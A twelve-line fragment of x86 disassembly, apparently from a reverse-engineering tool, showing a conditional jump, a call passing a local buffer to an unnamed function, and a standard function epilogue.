add esp, 4
test eax, eax
jne 0x401eeb
jmp 0x401efa
lea eax, [ebp - 0x104]
push eax
call fcn.00401bb1
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret